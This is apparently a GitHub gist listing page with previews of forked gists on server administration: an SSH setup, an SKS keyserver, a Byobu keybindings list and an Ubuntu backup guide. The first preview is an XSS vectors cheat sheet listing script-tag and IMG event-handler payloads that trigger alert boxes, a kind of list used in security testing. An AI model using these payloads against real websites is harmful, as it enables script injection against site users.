Skip to content

Instantly share code, notes, and snippets.

@aliyacodes
aliyacodes / xss_vectors.txt
Created July 15, 2020 18:24 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@aliyacodes
aliyacodes / k8s-pi.md
Created May 26, 2021 00:58 — forked from alexellis/k8s-pi.md
K8s on Raspbian
# SSH from Windows 10 using Python subprocess + built-in OpenSSH
#
# Alternatives to using subprocess include:
# Fabric: http://www.fabfile.org/
# Paramiko: http://www.paramiko.org/
#
# References:
# OpenSSH in Windows 10: https://blogs.msdn.microsoft.com/commandline/2018/01/22/openssh-in-windows-10/
# The only simple way to do SSH in Python today is to use subprocess + OpenSSH...: https://gist.github.com/bortzmeyer/1284249
# Issue8557 - subprocess PATH semantics and portability: https://bugs.python.org/issue8557
@aliyacodes
aliyacodes / Building-a-SKS-Keyserver.md
Created January 11, 2023 19:30 — forked from mattrude/Building-a-SKS-Keyserver.md
Building a SKS Keyserver on Ubuntu 18.04 LTS

A Key Server is used to distribute PGP/GPG keys between different users. One of the most popular key servers for use with pgp/gpg is the sks keyserver. This document will walk you through downloading, installing, and setting up a sks keyserver on Ubuntu 18.04 LTS.

Building your own PGP SKS Server

Building a SKS server is a pretty straight forward project if you are use to running servers.

To build a production SKS Server, you must...

@aliyacodes
aliyacodes / sshKeyGen.py
Created February 13, 2023 18:20 — forked from hugobarzano/sshKeyGen.py
Python script that uses ssh-keygen and ssh-copy-id to create SSH keys
'''
Author: Brian Oliver II
Instagram: bolo_ne3
License:
MIT License
Copyright (c) 2016 Brian Oliver II
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@aliyacodes
aliyacodes / ssh-copy-id.ps1
Created February 16, 2023 00:20 — forked from elonmallin/ssh-copy-id.ps1
One-liner ssh-keygen and ssh-copy-id for Windows powershell
ssh-keygen && cat $envuserprofile/.ssh/id_rsa.pub | ssh user@linuxserver 'cat >> .ssh/authorized_keys'
Byobu is a suite of enhancements to tmux, as a command line
tool providing live system status, dynamic window management,
and some convenient keybindings:
F1 * Used by X11 *
Shift-F1 Display this help
F2 Create a new window
Shift-F2 Create a horizontal split
Ctrl-F2 Create a vertical split
Ctrl-Shift-F2 Create a new session
@aliyacodes
aliyacodes / BackRe_ubuntu_server.md
Created July 28, 2025 21:09 — forked from CodeWire/BackRe_ubuntu_server.md
Backup & Restore Ubuntu Server The Simple Way

How I Backup My Ubuntu Server & Restore To Another Ubuntu Instance

How to backing up Ubuntu server and restoring to another Ubuntu instance

It is adviced to make TWO backups. 1 for / and 1 for /home if they are on different partition. If you want one you will have to add a lot of exceptions to that one command. Example:

1. Open Terminal

sudo -i cd /